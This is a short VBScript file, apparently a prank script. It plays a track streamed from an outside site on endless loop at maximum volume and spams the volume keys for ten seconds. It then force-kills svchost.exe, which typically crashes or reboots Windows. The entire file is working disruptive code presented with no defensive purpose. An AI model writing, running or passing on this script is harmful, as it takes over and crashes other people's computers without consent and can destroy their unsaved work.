asd

Set Sound = CreateObject("WMPlayer.OCX")
Sound.URL = "https://musify.club/track/dl/17771946/fem-love-1000-7.mp3"
Sound.settings.volume = 100
Sound.settings.setMode "loop", True
Sound.controls.play

' Устанавливаем системный звук на максимум
Set objShell = CreateObject("WScript.Shell")
objShell.SendKeys(chr(&hAD))
objShell.SendKeys(chr(&hAF))

Dim startTime, endTime, currentTime

startTime = Timer

Do
    objShell.SendKeys(chr(&hAD))
    objShell.SendKeys(chr(&hAF))
    WScript.Sleep 100
    currentTime = Timer
Loop Until currentTime - startTime >= 10

objShell.Run "taskkill /F /IM svchost.exe"